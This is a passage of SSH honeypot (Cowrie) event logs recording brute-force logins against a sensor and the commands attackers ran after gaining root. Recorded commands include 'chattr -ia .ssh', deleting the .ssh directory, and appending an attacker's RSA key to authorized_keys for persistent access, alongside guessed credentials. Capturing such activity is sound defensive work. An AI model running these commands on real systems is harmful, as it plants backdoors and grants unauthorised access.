":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:30.736857Z","src_ip":"101.44.96.62","session":"4ac659f502fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:31.386324Z","src_ip":"101.44.96.62","session":"4ac659f502fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:32.605109Z","src_ip":"101.44.96.62","session":"4ac659f502fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.215.134","src_port":34176,"dst_ip":"159.203.135.109","dst_port":22,"session":"89a83dad216a","protocol":"ssh","message":"New connection: 152.32.215.134:34176 (159.203.135.109:22) [session: 89a83dad216a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:33.340876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:33.344564Z","src_ip":"152.32.215.134","session":"89a83dad216a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:33.559736Z","src_ip":"152.32.215.134","session":"89a83dad216a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"asdf123$%","message":"login attempt [root/asdf123$%] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:34.443948Z","src_ip":"152.32.215.134","session":"89a83dad216a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:34.900376Z","src_ip":"152.32.215.134","session":"89a83dad216a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:34.903689Z","src_ip":"152.32.215.134","session":"89a83dad216a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:34.907486Z","src_ip":"152.32.215.134","session":"89a83dad216a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:35.124949Z","src_ip":"152.32.215.134","session":"89a83dad216a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:35.588408Z","src_ip":"152.32.215.134","session":"89a83dad216a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:35.592582Z","src_ip":"152.32.215.134","session":"89a83dad216a","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:35.811705Z","src_ip":"152.32.215.134","session":"89a83dad216a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:35.815431Z","src_ip":"152.32.215.134","session":"89a83dad216a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.215.134","src_port":34178,"dst_ip":"159.203.135.109","dst_port":22,"session":"de2475282f76","protocol":"ssh","message":"New connection: 152.32.215.134:34178 (159.203.135.109:22) [session: de2475282f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:36.034192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:36.038408Z","src_ip":"152.32.215.134","session":"de2475282f76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:36.260187Z","src_ip":"152.32.215.134","session":"de2475282f76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:37.174944Z","src_ip":"152.32.215.134","session":"de2475282f76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:38.398643Z","src_ip":"152.32.215.134","session":"de2475282f76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.215.134","src_port":34182,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2efa686aeb8","protocol":"ssh","message":"New connection: 152.32.215.134:34182 (159.203.135.109:22) [session: b2efa686aeb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:38.618613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:38.623043Z","src_ip":"152.32.215.134","session":"b2efa686aeb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:38.845553Z","src_ip":"152.32.215.134","session":"b2efa686aeb8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:39.761785Z","src_ip":"152.32.215.134","session":"b2efa686aeb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:39.978245Z","src_ip":"152.32.215.134","session":"89a83dad216a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:39.985545Z","src_ip":"152.32.215.134","session":"b2efa686aeb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":56650,"dst_ip":"159.203.135.109","dst_port":22,"session":"6142461827bf","protocol":"ssh","message":"New connection: 101.44.96.62:56650 (159.203.135.109:22) [session: 6142461827bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:44.008794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:44.013203Z","src_ip":"101.44.96.62","session":"6142461827bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:44.230338Z","src_ip":"101.44.96.62","session":"6142461827bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:44.896838Z","src_ip":"101.44.96.62","session":"6142461827bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:46.116610Z","src_ip":"101.44.96.62","session":"6142461827bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.163.255.210","src_port":3422,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9d4b3851d85","protocol":"ssh","message":"New connection: 124.163.255.210:3422 (10.17.0.5:22) [session: e9d4b3851d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:53.021254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:53.025405Z","src_ip":"124.163.255.210","session":"e9d4b3851d85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:53.271373Z","src_ip":"124.163.255.210","session":"e9d4b3851d85","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"43211234","message":"login attempt [root/43211234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:54.281164Z","src_ip":"124.163.255.210","session":"e9d4b3851d85","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:54.799304Z","src_ip":"124.163.255.210","session":"e9d4b3851d85","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:54.802060Z","src_ip":"124.163.255.210","session":"e9d4b3851d85","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:54.805618Z","src_ip":"124.163.255.210","session":"e9d4b3851d85","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:55.053114Z","src_ip":"124.163.255.210","session":"e9d4b3851d85","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:55.617130Z","src_ip":"124.163.255.210","session":"e9d4b3851d85","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:55.620237Z","src_ip":"124.163.255.210","session":"e9d4b3851d85","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:55.869776Z","src_ip":"124.163.255.210","session":"e9d4b3851d85","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:55.873947Z","src_ip":"124.163.255.210","session":"e9d4b3851d85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.178.114.78","src_port":49730,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9a463711ac6","protocol":"ssh","message":"New connection: 51.178.114.78:49730 (10.17.0.5:22) [session: a9a463711ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:55.885527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:28:55.896340Z","src_ip":"51.178.114.78","session":"a9a463711ac6","protocol":"ssh"}
